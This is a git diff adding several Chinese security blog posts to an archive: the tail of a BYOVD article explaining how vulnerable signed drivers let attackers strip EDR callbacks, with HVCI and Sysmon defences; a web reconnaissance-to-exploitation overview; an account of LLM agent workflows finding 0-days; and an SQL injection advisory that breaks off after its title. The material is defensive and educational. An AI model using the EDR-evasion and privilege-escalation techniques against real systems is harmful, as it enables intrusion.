+的勒索软件载荷，随即开始加密文件。 +## 为什么 BYOVD 攻击能如此有效地规避防御？ + +BYOVD 之所以有效，是因为它利用了 Windows 建立内核代码信任机制中的结构性缺陷。 +### 数字签名问题 + +要理解攻击者如何利用驱动信任机制，需要先了解 Microsoft 如何保护 Windows 内核。自 Windows 10 起，Microsoft 要求所有新的内核模式驱动必须通过 Dev Portal 提交，以获得 Microsoft 的直接数字签名。 + +此前，开发者可以使用第三方 "cross-certificates" (交叉证书) 自行签署驱动，无需 Microsoft 显式签名。为避免破坏数百万依赖旧版签名的遗留设备，Windows 无法全面拒绝这些驱动。 + +如果系统满足以下任一条件，Windows 将继续允许加载交叉签名的驱动： +- **旧版证书：** +驱动使用 2015 年 7 月 29 日之前签发的终端实体证书进行签名 (前提是该证书链回到经批准的交叉签名证书颁发机构)。 + +- **Secure Boot 已禁用：** +计算机 BIOS 已配置为关闭 Secure Boot。 + +- **升级系统：** +机器运行的是 Windows 10 1607 版本，但该版本是通过从旧版 Windows 升级而来，而非全新安装。 + +这些向后兼容性例外恰恰创造了 BYOVD 攻击所利用的漏洞。由于 Windows 仍然信任这些旧的、有效签名的驱动，威胁行为者无需伪造或窃取新的 Microsoft 签名即可获得内核级访问权限。 +### 为什么 Microsoft 的漏洞驱动阻止列表无法阻止 BYOVD 攻击 + +任何阻止列表最根本的缺陷在于它是被动式的。驱动只有在漏洞被发现、上报之后——往往是在野外已被利用之后——才会被加入列表。攻击者深知这一点，并持续搜寻新的、冷门的或被遗忘的驱动。 + +要使阻止列表能有效应对快速转换策略的威胁行为者，就必须持续更新。然而，Microsoft 的漏洞驱动阻止列表通常随 Windows 操作系统主要版本一同更新 (通常每年仅 1-2 次)。 +### 为什么 EDR 自我保护机制不够充分 + +大多数 EDR 供应商都实现了防篡改保护，以防止其进程和驱动被终止。但防篡改保护与攻击者加载的漏洞驱动运行在同一特权级别 (Ring 0)。如果**基于虚拟化的安全** +(**VBS** +) 等缓解措施被禁用，一旦攻击者获得任意内核读/写权限，他们可以： +- 在内存中修补防篡改保护检查 + +- 在 **PspNotifyEnableMask** +和**回调数组** +处移除 EDR 的回调注册 + +- 直接操纵 **EPROCESS** +结构以隐藏自身进程 + +## 如何预防和检测 BYOVD 攻击 (缓解策略) + +防御 BYOVD 需要采用纵深防御策略，因为没有任何单一措施能够独立应对。以下是一份实用且按优先级排序的防御方案。 +### 启用受 Hypervisor 保护的代码完整性 (HVCI) + +HVCI (Hypervisor-Protected Code Integrity) 利用 Windows 虚拟化技术来强制实施内核代码完整性。它将代码完整性检查转移到主操作系统内核无法访问或修改的安全隔离环境中。这意味着即使攻击者获得了内核级访问权限，也无法篡改代码完整性的执行过程本身。 + +任何驱动或内核模块在运行前都必须经过签名验证。未签名或签名无效的代码在执行前即被阻止。Hypervisor 作为位于操作系统之下的守门人，仅仅攻破操作系统并不足以绕过它。 + +即使攻击者拥有合法但存在漏洞的签名驱动，HVCI 的内存保护机制也能阻止未授权进程对内核内存的写入，从而限制该驱动可被利用的范围。 +#### 如何启用 HVCI? + +**通过组策略：** +Computer Configuration > Administrative Templates > System > Device Guard > Turn On Virtualization Based Security > Virtualization Based Protection of Code Integrity: **Enabled with UEFI lock.** + +**通过注册表：** +

reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "EnableVirtualizationBasedSecurity" /t REG_DWORD /d 1 /f 
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "RequirePlatformSecurityFeatures" /t REG_DWORD /d 1 /f 
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v "Locked" /t REG_DWORD /d 0 /f 
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Enabled" /t REG_DWORD /d 1 /f 
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v "Locked" /t REG_DWORD /d 0 /f
+**通过 PowerShell 验证状态：** +

Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard \| Select-Object VirtualizationBasedSecurityStatus, SecurityServicesRunning
+**VirtualizationBasedSecurityStatus** +的值为 "**2** +" 表示**基于虚拟化的安全** +(**VBS** +) 已启用并正在运行。 + +**SecurityServicesRunning** +的值为 "**{2}** +" 表示 **HVCI** +正在运行。 +### 通过特定事件 ID 监控驱动加载事件 + +以下是需要收集和告警的关键事件： +- **Sysmon 事件 ID 6 (驱动加载):** +记录每次驱动加载的哈希值、签名状态和路径。这是检测 BYOVD 最重要的单一事件。 + +- **系统事件 ID 7045 (服务安装):** +记录新服务 (包括通过 **sc.exe** +注册的内核驱动) 的安装。 + +- **Sysmon 事件 ID 1 (进程创建):** +捕获用于注册驱动的 **sc.exe create** +命令行。 + +可使用以下 Sysmon 配置片段来排除可信驱动加载： +``` + + + + +   +   + +``` +### 加固管理员权限 + +BYOVD 需要本地管理员权限。减少拥有管理员访问权限的账户数量是最具影响力的控制措施之一。 +## 要点总结 +- BYOVD 是一种 Windows 内核利用技术，攻击者通过加载合法且经过数字签名、但存在漏洞的驱动来获得 Ring 0 (内核级) 访问权限。 + +- 获得内核访问权限后，攻击者可以禁用 EDR、篡改安全回调、终止杀毒进程并绕过终端防护。 + +- BYOVD 并非初始访问技术，它需要攻击者已具备管理员权限。 + +- 该技术对应 MITRE ATT&CK T1068 (利用漏洞进行权限提升)，并常与 T1562.001 (削弱防御：禁用或修改工具) 存在交叉。 + +- 攻击者利用 Windows 驱动信任和数字签名执行模型中的弱点，包括遗留签名驱动和阻止列表的缺口。 + +- 有效防御需要纵深防御策略，包括： + +- 受 Hypervisor 保护的代码完整性 (HVCI) + +- 监控驱动加载事件 (如 Sysmon 事件 ID 6) + +- 特权访问加固 + +- 组织不应假设防护措施正在有效运行，必须针对 BYOVD 等真实攻击技术持续验证安全控制措施。 + +- 安全控制验证由攻击和入侵模拟提供支持，使团队能够安全地测试预防和检测控制措施、发现缺口，并在攻击者利用之前应用可操作的缓解指导。 + +## 参考文献 + +1 +"Ransomware Actor Abuses Genshin Impact Anti-Cheat Driver to Kill Antivirus," Trend Micro. Accessed: Feb. 17, 2026. [Online]. Available: https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html + +--- +> 免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。 + + + diff --git a/doc/2026-03/从侦察到利用：攻击者如何发现、利用和串联Web应用程序漏洞——以及防御者如何检测和阻止它们.md b/doc/2026-03/从侦察到利用：攻击者如何发现、利用和串联Web应用程序漏洞——以及防御者如何检测和阻止它们.md new file mode 100644 index 00000000..30b10448 --- /dev/null +++ b/doc/2026-03/从侦察到利用：攻击者如何发现、利用和串联Web应用程序漏洞——以及防御者如何检测和阻止它们.md @@ -0,0 +1,386 @@ +# 从侦察到利用：攻击者如何发现、利用和串联Web应用程序漏洞——以及防御者如何检测和阻止它们 +haidragon + haidragon 安全狗的自我修养 2026-03-03 04:10 + +# 官网：http://securitytech.cc + + +![](https://mmbiz.qpic.cn/mmbiz_png/R98u9GTbBnuzIkkTMTW8CUHV5MR68qFVAuOib3n0vY72jeyh4wYLP5KmTicwDXozFbqiaKPIayBMRfYtaN7VfK4e8OBRqXjnglo1adcbHVlZhU/640?wx_fmt=png&from=appmsg "") + + +今天，我们用**攻击者的思维** +，来做**防御** +。 + +攻击中最危险的部分，往往是你看不见的那一段 —— **侦察（Reconnaissance）** +。 + +大多数数据泄露并不是从漏洞利用开始的。 + +它们始于攻击者绘制你的攻击面，在你察觉之前找到薄弱入口。 + +根据 Verizon 的《数据泄露调查报告（DBIR）》，相当比例的安全事件涉及外部攻击者，并且通常始于侦察与扫描活动。 + +在许多漏洞赏金（Bug Bounty）和 VAPT 评估中，初始入口往往是一个被遗忘的子域名、配置错误的 API 或暴露的服务 —— 这些都是在侦察阶段发现的资产。而互联网级扫描和威胁情报平台正是为了提前暴露这些风险。 + +在本文中，我们将拆解攻击者如何从侦察走向漏洞利用 —— 以及防御者如何尽早检测并阻止他们。 +## 1. 引言 + +现代攻击很少直接从漏洞利用开始。 + +它们从**可见性（Visibility）**开始。 + +攻击者不会随机入侵系统 —— 他们会先**绘制、观察、理解** +目标。这种方法同样被漏洞赏金猎人、红队成员以及真实攻击者广泛使用。 + +理解这种**端到端攻击流程** +有助于： +- 外部威胁情报平台（如 Whatoblock）在利用发生前就提供可见性 + +- SOC 团队更早检测攻击 + +- 安全工程师设计更有效的防御体系 + +- 研究人员更快发现高影响漏洞 + +本文将带你从攻击者视角出发，走完整个从侦察到利用与检测的流程。 +## 2. 侦察与外部可见性 + +按 Enter 或点击查看原图 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/R98u9GTbBnsZRfwJK5WLwy3uoK8mZiaEiat8JKEGUyLbdOYoJJchLg1RuS8G2bglh1a3yic6y6f460tgNks1nK8N7ztJEvtPku8c7tPKicspFic0/640?wx_fmt=png&from=appmsg "") + +一切从这里开始。 + +攻击者要回答的核心问题是： +> **“哪些资产暴露在公网，并且可以被访问？”** + +### 子域名枚举与端点发现 + +常用工具： +- **subfinder** +：查找子域名 + +- **amass** +：深度子域名枚举 + +- **crt.sh** +：通过 SSL 证书日志发现子域 + +- **dnsx** +：解析并验证域名 + +示例命令： +``` +``` + +检测存活主机： +``` +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/R98u9GTbBnued7ZT9M8kUDaVB6FQHCfzsH87azdd4xcdnFZBiag7d5iaWCeq9NO69ic1bjcl0FjiaRPjtLKHZTibzLyKJ9CBYs9wcOExiap8ULHVo/640?wx_fmt=png&from=appmsg "") + +用于识别活跃主机。 +### 端点与 URL 发现 + +工具： +- **gau** +：获取历史 URL + +- **waybackurls** +：获取归档 URL + +- **hakrawler** +：爬取页面链接 + +- **katana** +：深度爬取隐藏端点 + +``` +``` +### 技术栈识别 + +工具： +- **Wappalyzer** +：识别框架、CMS + +- **WhatWeb** +：识别 Web 技术与服务器信息 + +- **BuiltWith** +：技术栈与集成分析 + +- **httpx** +：探测服务与 HTTP 响应 + +``` +``` + +攻击者可以识别： +- 前端框架（React、Angular、Laravel） + +- Web 服务器（nginx、Apache） + +- 后端技术（NodeJS、PHP） + +- 第三方集成服务 + +### 互联网级扫描视角 + +攻击者还会使用全球扫描引擎： +- Whatoblock + +- Shodan + +- Censys + +- ZoomEye + +- FOFA + +示例查询： +``` +``` + +SOC 视角提示： +- 异常 DNS 查询激增 + +- 大量 NXDOMAIN 响应 + +- 重复 404 错误 + +这些往往是自动化侦察的强烈信号。 + +按 Enter 或点击查看原图 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/R98u9GTbBnu8X7w1g2k2caxon35171TJ4lBY36wrgmeNDiaIwJgc7NRjO1zrUJF8gav56ibLE5KY6s6dhdF6YSPD4ywHXtM0W0HFUicA15LepQ/640?wx_fmt=png&from=appmsg "") + +实时 TCP/UDP 扫描行为示例（来源：Whatoblock） + +按 Enter 或点击查看原图 + +![](https://mmbiz.qpic.cn/mmbiz_png/R98u9GTbBnuFOwRdtXqXCAPH1PvSOFrMkgwUbqTo6dbBVJJTD9gDwJg0ICh8fzG2RuMbt0GzbvDib9j7ftibZ3WPgBGP8nBRJoWibVDhKQpWm8/640?wx_fmt=png&from=appmsg "") + +实时 Botnet C2 基础设施监控（来源：Whatoblock） + +按 Enter 或点击查看原图 + +![](https://mmbiz.qpic.cn/mmbiz_png/R98u9GTbBnsrf7GlSzOVAFSibc7eSLh8ezJXWVSAaFPa0gAPGvTwCtic9LT3AKAMzYtVZFGZibs4fGN8oBbXnKdXm11NjLQ1BlTSLzKkgdrbx8/640?wx_fmt=png&from=appmsg "") + +（来源：Shodan） + +按 Enter 或点击查看原图 + +![](https://mmbiz.qpic.cn/mmbiz_png/R98u9GTbBnunXvgKGFO60YaRUp7yNlDoLXWejyqzfbqkR4Ur3ibI8W0FJqrY0aulORGZa2ZXCVypAzDt82YFaq2enhkqvwaQibMskEnl9JAKI/640?wx_fmt=png&from=appmsg "") + +（来源：Censys） +## 3. 攻击面映射 + +侦察之后，下一步是理解应用如何运行 —— 这叫做**攻击面映射（Attack Surface Mapping）** +。 + +测试者会探索： +- 所有参数 + +- API 接口 + +- 用户角色 + +- 业务流程 + +重点关注： +- id +、user_id +、account_id + +- /api/v1/users + +- 登录 / 重置密码 / 2FA + +- 普通用户 vs 管理员差异 + +示例： +``` +``` + +尝试用普通用户访问管理员接口。 + +工具： +- Burp Suite + +- Postman + +- Chrome DevTools + +- FFUF + +``` +``` +## 4. 漏洞发现 + +真正的漏洞挖掘阶段。 +### 1. 越权访问 / IDOR + +修改请求中的 ID： +``` +``` + +改为： +``` +``` + +如果能访问他人数据，即为 Broken Access Control。 +### 2. 认证与会话问题 + +检查： +- 登出后 Token 是否仍有效 + +- 每个请求是否验证 Session + +- 是否可绕过 2FA + +示例： +``` +``` +### 3. 业务逻辑漏洞 +- 优惠券重复使用 + +- 跳过支付 + +- 跳过 OTP + +### 4. 参数篡改与响应分析 + +关注： +- 状态码变化 + +- 响应大小差异 + +- 错误信息差异 + +## 5. 利用与漏洞链 + +真实攻击往往是**漏洞组合拳** +。 + +例如： +- IDOR → 数据泄露 → 提权 + +- 弱认证 → 会话复用 → 账户接管 + +- 暴露 API → 管理接口 → 数据泄露 + +## 6. 真实攻击链示例 + +按 Enter 或点击查看原图 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/R98u9GTbBnslP4upoykDYicl0vMhTykDNBhRrlrL2Ql9FL3vfVjhnweTnyoXSS3NCYFuU9mzc4AjnytUibeRp6874OlK9oGoyMeQxlqYupuEE/640?wx_fmt=png&from=appmsg "") + +攻击流程： +1. Recon → 发现 api.target.com + +1. 找到 /api/v1/user?id=123 + +1. 修改 ID → IDOR + +1. 收集邮箱 + +1. 利用弱密码重置流程 + +1. 账户接管 + +1. 提权至管理员 + +影响：完整账户控制 + 敏感数据泄露 +## 7. 检测与防御 + +按 Enter 或点击查看原图 + +![](https://mmbiz.qpic.cn/mmbiz_png/R98u9GTbBnvlqQREicy3tzYeH7ibZEU4GvI2jcKUemcFMiat1l6K7NsWbA33dvbffrxwrh1n5vxzQhG0FupCYfeicZlgGzJ2EP2YAosUP1vfmYw/640?wx_fmt=png&from=appmsg "") + +SOC 应监控： +- 子域扫描激增 + +- 大量 401 / 403 + +- 参数快速递增 + +- API 枚举 + +- 连续 ID 访问 + +按 Enter 或点击查看原图 + +![](https://mmbiz.qpic.cn/mmbiz_png/R98u9GTbBnue2NsC9gaSa7SL5dQ2rCXYcB2lvSGCXxV6DhJsQmicrYL02oT52HwjK83q2H2Vib81wX3aQvmE2qF70vjJbMFewf1CmRsj0xMII/640?wx_fmt=png&from=appmsg "") + +IP 行为情报监控（来源：Whatoblock） +### 应记录的日志 +- 用户访问模式 + +- API 请求频率 + +- 失败登录 + +- 权限变更 + +- 敏感数据访问 + +### 安全设计实践 +- 对每个对象做授权校验 + +- 验证资源归属 + +- 实施限速 + +- 持续异常检测 + +- 最小权限原则 + +## 8. 核心总结 +- 攻击者流程是可预测的 + +- 许多漏洞源于暴露资产 + +- Broken Access Control 仍最常见 + +- 强日志与监控是早期检测关键 + +## 9. 结论 + +有效防御的前提是： +> **像攻击者一样思考。** + + +理解从侦察到利用的全过程，能够帮助团队： +- 提前发现威胁 + +- 更快响应 + +- 构建更安全系统 + +安全不再只是修复单个漏洞。 + +而是缩小可见性盲区，构建能够**检测、抵抗和响应** +威胁的系统。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/R98u9GTbBnt63H5HeVvH57DuhexHibDk6RPsjic3IV29yTdJckoNVdiaqYNWWhp8nZK5NKV1Rm3dD1WnpKR6HEnVVfTcemicYzaw9HWDooYoZLI/640?wx_fmt=gif&from=appmsg "") +- 公众号:安全狗的自我修养 + +- vx:2207344074 + +- http:// +gitee.com/haidragon + +- http:// +github.com/haidragon + +- bilibili:haidragonx + +## + +![图片](https://mmbiz.qpic.cn/mmbiz_png/R98u9GTbBnurorYBauV1Nfudk6ShfOslGndYT1oJLNwGTDW1BlABdMPck06ZA2IfDTEFSWQYkfvcFGPQcWjpJvSdgGaSkIRTTbfticTLBZDA/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=3 "") + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHYgfyicoHWcBVxH85UOBNaPZeRlpCaIfwnM0IM4vnVugkAyDFJlhe1Rkalbz0a282U9iaVU12iaEiahw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=z84f6pb5&tp=webp#imgIndex=5 "") + +****- ![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHYgfyicoHWcBVxH85UOBNaPMJPjIWnCTP3EjrhOXhJsryIkR34mCwqetPF7aRmbhnxBbiaicS0rwu6w/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&randomid=omk5zkfc&tp=webp#imgIndex=5 "") + diff --git a/doc/2026-03/我如何利用 LLM 多 Agent 工作流挖掘开源项目 0-day 漏洞.md b/doc/2026-03/我如何利用 LLM 多 Agent 工作流挖掘开源项目 0-day 漏洞.md new file mode 100644 index 00000000..f42445d8 --- /dev/null +++ b/doc/2026-03/我如何利用 LLM 多 Agent 工作流挖掘开源项目 0-day 漏洞.md @@ -0,0 +1,158 @@ +# 我如何利用 LLM 多 Agent 工作流挖掘开源项目 0-day 漏洞 +Hyunseo Shin + Hyunseo Shin securitainment 2026-03-03 05:38 + +
原文链接
作者
https://blog.cykor.kr/2026/02/How-I-Found-Open-Source-0-days-with-an-LLM-Multi-Agent-Workflow
Hyunseo Shin
## 创建 LLM Agent 工作流的动机 + +此前，我在大学的网络安全学习主要围绕 wargame 和 CTF 展开。在受控环境中挖掘漏洞并成功利用固然有趣，但我始终有一个愿望——在"真实世界"中发现漏洞。 + +加入 BoB (Best of the Best，韩国网络安全培训项目) 第 14 期漏洞分析方向后，我深刻意识到安全行业的范式正在发生转变。导师们指出，AI 的攻击能力正在飞速提升，未来将接管安全领域的大量工作，并强调高效运用 AI 将成为黑客不可或缺的核心技能。AI Cyber Challenge (AIxCC) 的出现更让我确信，"AI for Security" 即将成为主流趋势。随着 AI 从简单的 Web UI 聊天机器人进化到 Claude Code、Codex 等 CLI 工具，MCP 的问世，以及 AI 模型在漏洞赏金平台上拔得头筹，这一信念愈发坚定。 +## 目标选择 + +起初，我考虑过内存损坏漏洞和黑盒服务器漏洞赏金这两个方向，但出于现实考量最终转向了其他目标。 +- **内存漏洞：** +我为内存损坏类漏洞搭建了专门的工作流，确实发现了一些 OOB (越界) 和栈溢出崩溃。然而，像 Google OSS VRP 这类项目很少接受单纯的崩溃报告——它们要求提供能够完全破坏完整性或机密性的利用链。受限于安全策略与合规要求，用 AI 自动化这一过程目前仍十分困难。加上我的技术背景偏向 Web 安全而非二进制利用 (pwn)，因此在这个方向上并不具备竞争优势。 + +- **黑盒服务器漏洞赏金：** +我暂时搁置了这个方向，原因是 AI 在执行漏洞扫描时可能不够安全——发送激进的 payload 有导致服务器崩溃或瘫痪的风险。(像 Theori 旗下的 Xint +或美国的 xbow +这类公司可能掌握了安全操作的方法，但我目前还达不到那个水平。) + +最终，我将目标锁定在我最熟悉的大型 Web 开源项目上，如 Nextcloud、Matomo 和 Grafana。这些项目的源码完全公开透明，可以通过 Docker 轻松在本地搭建复现环境，而且我相信 LLM 的上下文理解能力在发现人类容易忽略的复杂业务逻辑漏洞方面能够大显身手。 +## 架构 + +我尝试了多种工作流方案，但目前主要使用的两套工作流具有相同的核心结构："漏洞发现"与"误报验证"两个阶段被严格分离。其核心思路并非在整个流程中使用昂贵的模型，而是在每个阶段将数据高效地路由到合适的模型。![AIxCC.jpg](https://mmbiz.qpic.cn/mmbiz_jpg/h4gtbB74nShIN4pH8uWzPDULFaGsAWzW6BjTZPFVLAGxcnruDykQWTWkSWYN82KSibu0YDZNpJcAAAjnMFqIFzoekbibOzfPuFiafxicBdYU2ib8/640?wx_fmt=jpeg&from=appmsg "") +这一架构的灵感来源于 Theori 在 AIxCC 中展示的 'RoboDuck' 方案。尽管 RoboDuck 采用了 fuzzing (会消耗更多 token)，但看到其每小时成本可能超过 1000 美元后，我意识到：要想实现可持续运行，不能对所有环节都使用最顶级的模型，而需要根据实际需求灵活搭配。 + +在对比各种低成本 LLM 的基准测试时，我在 GeekNews 上偶然发现了一篇关于 GLM 模型的文章，其性价比似乎非常出色。在 GLM 系列中，新发布的 GLM-5 性能比 GLM-4.7 高出约 20%，但 token 消耗量是后者的三倍。由于 Web 漏洞往往需要检测 IDOR 之类的逻辑缺陷，而非高度复杂的推理，我判断提高廉价模型的调用频率比使用略优但昂贵的模型更为高效。因此，我选择性价比突出的 GLM-4.7 作为主力模型。![AIbench.png](https://mmbiz.qpic.cn/mmbiz_png/h4gtbB74nSjpv5eoG6lLhTiczrWx0J8fWsibAVV58GAjibd0XTiclogO4woicwx7nXVAPuxhRos9OmxH2Vbzickj4fibOfuztVzsnc2EW91FITMaqw/640?wx_fmt=png&from=appmsg "") +各模型的 Coding Index 基准测试 +- **Finding (GLM-4.7)：** +搜索漏洞候选项。我通过调整此发现阶段的 prompt 创建了多个工作流变体。 + +- **Semi-Triage (GLM-5)：** +使用性能优于 GLM-4.7 的 GLM-5，从第一步产生的候选项中过滤掉明显的误报。 + +- **Triage (Codex 5.3)：** +经过前两轮筛选存活下来的候选项，交由顶级模型 Codex 5.3 进行最终验证。 + +通过 Triage 阶段验证的漏洞会通过 Discord 发送告警通知，并将漏洞报告上传至 Notion。 + +在审阅上传的报告后，我始终会在提交之前亲自手动复现并验证每个漏洞。由于即便经过 Codex 的验证仍可能残留误报，最终报告严格基于我的手动复现结果撰写。 +## Prompt 工程 + +工作流运行初期，误报数量相当多，为此我反复实验和优化了各种 prompt 来解决这一问题。 + +大多数误报的产生是因为以下三个要素中的某一个被评估有误。因此，我必须强制 AI 在验证阶段逐一审查这三个因素： +1. **攻击者条件：** +攻击者需要处于什么网络位置 (内部/外部)，需要具备什么权限 (Unauth/Admin/Guest)，以及需要注入哪些特定输入才能使攻击成功。 + +1. **服务器条件：** +服务器端的前置条件，例如是否需要启用特定插件、默认配置如何，或者该漏洞是否仅在特定操作系统/环境下才会触发。 + +1. **安全影响：** +不能仅笼统地说"存在危险"，而要基于 CIA 三元组具体说明——是否会导致数据窃取、引发拒绝服务 (DoS)，还是仅仅造成简单的信息泄露。 + +许多人试图通过在 prompt 中"请求" AI 来解决这个问题，比如 "请在分析时考虑攻击者的权限" +或 "请注意服务器配置。" +然而，LLM 本质上是"懒惰"的。像"考虑""注意"这类模糊指令，在推理过程中很容易被跳过或草草带过。而通过强制 AI 在输出中显式列出这三个要素，它就不得不对每个要素进行系统性分析，从而大幅减少了由此类因素导致的误报。 + +解决了上述三个问题后，一种新的误报类型又浮出水面：在源代码层面看似漏洞，但实际上是特定开源项目安全模型下的预期行为或不在评估范围内的 bug。为此，我更新了 prompt，要求 AI 搜索该项目的官方安全文档和安全策略，以判断其究竟是真正的漏洞还是设计如此。 + +经过这一系列优化，工作流能够清晰区分 bug +与 _漏洞_，漏洞分析工作流的误报率显著降低。 +## 发现的漏洞 + +这个项目带给我的一个切身体会是：AI 在发现 IDOR 和业务逻辑漏洞方面的能力令人惊叹。传统扫描器只能追踪数据流，而 AI 能够理解"上下文"——即 API 的设计意图以及其应当遵循的安全模型。 + +如果由人类来手动执行这类分析，需要将数万行 API 路由代码与权限引擎的复杂交互逐一交叉比对。这不仅极为耗时，而且当人类审阅数千个参数时，注意力不可避免地会逐渐衰退，极易遗漏关键的缺失检查。相比之下，AI 永远不会疲倦，它能系统性地将每个 API 定义与安全模型进行交叉验证，在捕捉人类容易忽略的微妙逻辑漏洞方面展现出压倒性的优势。 + +最具代表性的案例是我借助此 LLM 工作流在 Grafana 仪表盘权限管理 API 中发现的权限提升漏洞 (CVE-2026-21721)。![grafana\_cve.png](https://mmbiz.qpic.cn/sz_mmbiz_png/h4gtbB74nSianN7ARKIIm4PpiawrPkjAysgEibxTwiaz9uCgicONTa4hXiaLu7cJdq2VT8PiaSU42HQUib5LdNNgeBIdKDA05o0MvGB3NUbt5Y5Vvxo/640?wx_fmt=png&from=appmsg "") + +### 描述 + +Grafana 允许为每个仪表盘单独设置权限 (Read/Write/Admin)。在正常的安全模型下，用户应当仅能对自己被指定为"权限管理员"的特定仪表盘调用权限控制 API。 + +然而，AI 发现的漏洞在于：Grafana 的仪表盘权限 API (GET/POST /api/dashboards/uid//permissions +) 未对目标仪表盘的 Scope 进行校验。 +- **根因：** +在调用内部权限验证逻辑 ac.EvalPermission +时，未将目标仪表盘的 UID scope 作为参数传入，而仅检查了用户是否拥有 dashboards.permissions:read/write +操作权限。这意味着，只要用户对系统中 任意一个 +仪表盘拥有 Admin 权限，便可获得执行 dashboards.permissions:write +操作的有效权限。由于服务器不校验该权限所指向的 _具体仪表盘_，攻击者便能读取或篡改其原本无权访问的所有其他仪表盘的权限数据。 + +### 影响 + +这是一个严重的权限提升漏洞：拥有某一特定仪表盘管理员权限的用户，可以任意劫持组织内其他敏感仪表盘的控制权。通过将自己设为其他仪表盘的 Admin，攻击者能够完全访问此前无法触及的数据。 + +最终，该漏洞被分配编号 CVE-2026-21721 (CVSS 8.1)。在审计大型代码库的全部权限时，追问 "为什么这里没有将 UID scope 作为验证参数传入？" +这种细节，人类安全工程师很可能会不经意间忽略，而 AI 却精准地捕捉到了安全引擎中的这一逻辑不一致。 +### 其他 0-day 漏洞 + +**Bug Bounty 与 CVE** +- CVE-2025-66514, CVSS 5.4 / **nextcloud mail** +中的 XSS 漏洞, (已获赏金) + +- CVE-2025-66558, CVSS 3.1 / **nextcloud twofactor_webauthn** +中的认证缺陷, (已获赏金) + +- CVE-2026-0994, CVSS 8.2 / **protobuf** +中的 DoS 漏洞 + +- CVE-2026-21721, CVSS 8.1 / **grafana** +中的权限提升漏洞, (已获赏金) + +- CVE-2026-22922, CVSS 6.5 / **airflow** +中的特权 API 误用, (已获赏金) + +- 待分配的 CVE… +**Bug Bounty (未分配 CVE)** +- **Nextcloud Contacts** +(预发布版), CVSS 6.5 / nextcloud contacts 中的 IDOR 漏洞, (已获赏金) + +- **Matomo** +, 通过 HackerOne 报告的安全问题, (已获赏金) + +- **Matomo Official plugins** +, 通过 HackerOne 报告的安全问题, (已获赏金) + +- **Matomo Official plugins** +, 通过 HackerOne 报告的安全问题, (已获赏金) + +- **Matomo Official plugins** +, 通过 HackerOne 报告的安全问题, (已获赏金) + +- **Grafana** +, 通过 Intigriti 报告的安全问题, (已获赏金) + +- **Owncloud** +, 通过 YesWeHack 报告的安全问题, (已获赏金, CVE 待分配) + +- **Discourse** +, 通过 HackerOne 报告的安全问题, (已获 8 笔赏金, CVE 待分配) + +新发现的 0-day 漏洞将在我的 博客 About Me +部分持续更新。 +## 未来展望 + +在亲自使用 AI 工作流挖掘漏洞的过程中，一个更深层的问题在我脑海中逐渐成形："如果 AI 已经如此强大，未来还有我的容身之处吗？" +距离我正式步入职场还有三年多，届时这个世界大概率已遍布远超当下水平的 AI。 + +虽然我对安全行业尚未有全面了解，但我个人的判断是：红队中简单的漏洞发现工作将大幅减少。主流趋势可能转向 AI 在开发流程中实时执行安全诊断以预防性地拦截漏洞，同时由 AI 漏洞分析 Agent 主动出击寻找 bug。红队不会完全消失，但我相信 AI 将接管他们目前承担的大量手工任务。 + +然而，我并不认为人类的角色会完全消亡。为发现的漏洞制定修复策略使其贴合业务场景，或者建立和运营企业独有的安全体系，这些领域无论 AI 多么先进，都离不开人类的讨论和决策。 + +因此，我计划将未来的学习聚焦于两个主要方向： +- **AI for Security：** +学习设计和构建类似本项目的漏洞猎取 AI 工作流。 + +- **Blue Team 与安全架构：** +超越纯粹的攻击 (红队) 技能，深入理解现实企业的安全策略与基础设施。 + +当然，以上仅仅是一名安全专业学生的个人推测，而非行业资深人士的判断。但比起抵抗扑面而来的 AI 浪潮，我相信最先学会高效驾驭这一工具的黑客，将拥有显著的优势。 + +--- +> 免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。 + + + diff --git a/doc/2026-03/热网无线监测系统 RealTimeOther.asmx SQL注入漏洞.md b/doc/2026-03/热网无线监测系统 RealTimeOther.asmx SQL注入漏洞.md new file mode 100644 index 00000000..1a3a4bd4 --- /dev/null +++ b/doc/2026-03/热网无线监测系统 RealTimeOther.asmx SQL注入漏洞.md @@ -0,0 +1,111 @@ +# 热网无线监测系统 RealTimeOther.asmx SQL注入漏洞 +Superhero + Superhero Nday Poc 2026-03-03 06:51 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkYN4sZibCVo6EFo0N9b7Kib4I4N6j6Y10tynLOdgov9ibUmaNwW5yeoCbQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=8n1b48rw&tp=webp#imgIndex=0 "") + 